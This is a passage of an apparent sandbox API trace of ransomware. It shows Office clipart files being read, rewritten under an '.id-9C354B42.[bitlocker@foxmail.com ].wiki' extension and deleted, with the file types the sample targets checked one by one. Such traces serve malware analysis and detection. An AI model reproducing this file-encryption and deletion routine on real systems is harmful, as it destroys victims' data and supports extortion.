Office\\CLIPART\\PUB60COR\\J0105332.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.623] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf")) returned 1 [0193.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0193.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0193.623] lstrlenW (lpString=".doc") returned 4 [0193.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.623] lstrlenW (lpString=".docx") returned 5 [0193.623] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0193.623] lstrlenW (lpString=".pdf") returned 4 [0193.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.623] lstrlenW (lpString=".xls") returned 4 [0193.623] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.623] lstrlenW (lpString=".xlsx") returned 5 [0193.623] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0193.623] lstrlenW (lpString=".ppt") returned 4 [0193.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0193.624] lstrlenW (lpString=".zip") returned 4 [0193.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.624] lstrlenW (lpString=".rar") returned 4 [0193.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.624] lstrlenW (lpString=".bz2") returned 4 [0193.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.624] lstrlenW (lpString=".7z") returned 3 [0193.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0193.624] lstrlenW (lpString=".dbf") returned 4 [0193.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0193.624] lstrlenW (lpString=".1cd") returned 4 [0193.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0193.624] lstrlenW (lpString=".jpg") returned 4 [0193.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0193.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0193.624] lstrlenW (lpString=".doc") returned 4 [0193.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.624] lstrlenW (lpString=".docx") returned 5 [0193.624] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0193.624] lstrlenW (lpString=".pdf") returned 4 [0193.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.624] lstrlenW (lpString=".xls") returned 4 [0193.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.624] lstrlenW (lpString=".xlsx") returned 5 [0193.625] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0193.625] lstrlenW (lpString=".ppt") returned 4 [0193.625] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0193.625] lstrlenW (lpString=".zip") returned 4 [0193.625] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.625] lstrlenW (lpString=".rar") returned 4 [0193.625] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.625] lstrlenW (lpString=".bz2") returned 4 [0193.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.625] lstrlenW (lpString=".7z") returned 3 [0193.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0193.625] lstrlenW (lpString=".dbf") returned 4 [0193.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0193.625] lstrlenW (lpString=".1cd") returned 4 [0193.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0193.625] lstrlenW (lpString=".jpg") returned 4 [0193.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.625] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.625] lstrlenW (lpString="J0105336.WMF") returned 12 [0193.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0193.626] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2900) returned 1 [0193.626] CloseHandle (hObject=0x1dc) returned 1 [0193.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf")) returned 0x20 [0193.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0193.626] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.626] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0193.627] GetLastError () returned 0x0 [0193.627] ReadFile (in: hFile=0x1dc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0xb54, lpOverlapped=0x0) returned 1 [0193.628] WriteFile (in: hFile=0x218, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xb60, lpOverlapped=0x0) returned 1 [0193.629] ReadFile (in: hFile=0x1dc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0193.629] WriteFile (in: hFile=0x218, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.629] SetEndOfFile (hFile=0x218) returned 1 [0193.629] CloseHandle (hObject=0x218) returned 1 [0193.629] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.629] SetEndOfFile (hFile=0x1dc) returned 1 [0193.630] CloseHandle (hObject=0x1dc) returned 1 [0193.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.630] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf")) returned 1 [0193.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0193.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0193.630] lstrlenW (lpString=".doc") returned 4 [0193.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.630] lstrlenW (lpString=".docx") returned 5 [0193.630] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0193.630] lstrlenW (lpString=".pdf") returned 4 [0193.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.630] lstrlenW (lpString=".xls") returned 4 [0193.630] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.630] lstrlenW (lpString=".xlsx") returned 5 [0193.630] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0193.630] lstrlenW (lpString=".ppt") returned 4 [0193.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0193.631] lstrlenW (lpString=".zip") returned 4 [0193.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.631] lstrlenW (lpString=".rar") returned 4 [0193.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.631] lstrlenW (lpString=".bz2") returned 4 [0193.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.631] lstrlenW (lpString=".7z") returned 3 [0193.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0193.631] lstrlenW (lpString=".dbf") returned 4 [0193.631] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0193.631] lstrlenW (lpString=".1cd") returned 4 [0193.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0193.631] lstrlenW (lpString=".jpg") returned 4 [0193.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0193.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0193.631] lstrlenW (lpString=".doc") returned 4 [0193.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.631] lstrlenW (lpString=".docx") returned 5 [0193.631] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0193.631] lstrlenW (lpString=".pdf") returned 4 [0193.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.631] lstrlenW (lpString=".xls") returned 4 [0193.631] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.631] lstrlenW (lpString=".xlsx") returned 5 [0193.632] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0193.632] lstrlenW (lpString=".ppt") returned 4 [0193.632] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0193.632] lstrlenW (lpString=".zip") returned 4 [0193.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.632] lstrlenW (lpString=".rar") returned 4 [0193.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.632] lstrlenW (lpString=".bz2") returned 4 [0193.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.632] lstrlenW (lpString=".7z") returned 3 [0193.632] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0193.632] lstrlenW (lpString=".dbf") returned 4 [0193.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0193.632] lstrlenW (lpString=".1cd") returned 4 [0193.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0193.632] lstrlenW (lpString=".jpg") returned 4 [0193.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.632] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.632] lstrlenW (lpString="J0105338.WMF") returned 12 [0193.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0193.633] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=11584) returned 1 [0193.633] CloseHandle (hObject=0x1dc) returned 1 [0193.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf")) returned 0x20 [0193.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0193.633] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.633] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0193.634] GetLastError () returned 0x0 [0193.634] ReadFile (in: hFile=0x1dc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x2d40, lpOverlapped=0x0) returned 1 [0193.635] WriteFile (in: hFile=0x218, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x2d50, lpOverlapped=0x0) returned 1 [0193.806] ReadFile (in: hFile=0x1dc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0193.806] WriteFile (in: hFile=0x218, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.957] SetEndOfFile (hFile=0x218) returned 1 [0193.957] CloseHandle (hObject=0x218) returned 1 [0193.957] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.957] SetEndOfFile (hFile=0x1dc) returned 1 [0193.958] CloseHandle (hObject=0x1dc) returned 1 [0193.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf")) returned 1 [0193.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0193.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0193.959] lstrlenW (lpString=".doc") returned 4 [0193.959] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.959] lstrlenW (lpString=".docx") returned 5 [0193.959] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0193.959] lstrlenW (lpString=".pdf") returned 4 [0193.959] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.959] lstrlenW (lpString=".xls") returned 4 [0193.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.959] lstrlenW (lpString=".xlsx") returned 5 [0193.959] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0193.959] lstrlenW (lpString=".ppt") returned 4 [0193.959] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0193.959] lstrlenW (lpString=".zip") returned 4 [0193.959] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.959] lstrlenW (lpString=".rar") returned 4 [0193.959] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.959] lstrlenW (lpString=".bz2") returned 4 [0193.960] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.960] lstrlenW (lpString=".7z") returned 3 [0193.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0193.960] lstrlenW (lpString=".dbf") returned 4 [0193.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0193.960] lstrlenW (lpString=".1cd") returned 4 [0193.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0193.960] lstrlenW (lpString=".jpg") returned 4 [0193.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0193.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0193.960] lstrlenW (lpString=".doc") returned 4 [0193.960] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.960] lstrlenW (lpString=".docx") returned 5 [0193.960] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0193.960] lstrlenW (lpString=".pdf") returned 4 [0193.960] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.960] lstrlenW (lpString=".xls") returned 4 [0193.960] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.960] lstrlenW (lpString=".xlsx") returned 5 [0193.960] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0193.960] lstrlenW (lpString=".ppt") returned 4 [0193.960] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0193.960] lstrlenW (lpString=".zip") returned 4 [0193.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.960] lstrlenW (lpString=".rar") returned 4 [0193.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.961] lstrlenW (lpString=".bz2") returned 4 [0193.961] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.961] lstrlenW (lpString=".7z") returned 3 [0193.961] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0193.961] lstrlenW (lpString=".dbf") returned 4 [0193.961] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0193.961] lstrlenW (lpString=".1cd") returned 4 [0193.961] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0193.961] lstrlenW (lpString=".jpg") returned 4 [0193.961] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.961] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.961] lstrlenW (lpString="J0105390.WMF") returned 12 [0193.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0193.962] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=4944) returned 1 [0193.962] CloseHandle (hObject=0x1dc) returned 1 [0193.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf")) returned 0x20 [0193.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0193.962] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.962] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0193.962] GetLastError () returned 0x0 [0193.962] ReadFile (in: hFile=0x1dc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x1350, lpOverlapped=0x0) returned 1 [0194.002] WriteFile (in: hFile=0x218, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x1360, lpOverlapped=0x0) returned 1 [0194.004] ReadFile (in: hFile=0x1dc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.004] WriteFile (in: hFile=0x218, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.004] SetEndOfFile (hFile=0x218) returned 1 [0194.004] CloseHandle (hObject=0x218) returned 1 [0194.004] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.004] SetEndOfFile (hFile=0x1dc) returned 1 [0194.005] CloseHandle (hObject=0x1dc) returned 1 [0194.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.005] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf")) returned 1 [0194.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0194.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0194.005] lstrlenW (lpString=".doc") returned 4 [0194.005] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.005] lstrlenW (lpString=".docx") returned 5 [0194.005] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0194.005] lstrlenW (lpString=".pdf") returned 4 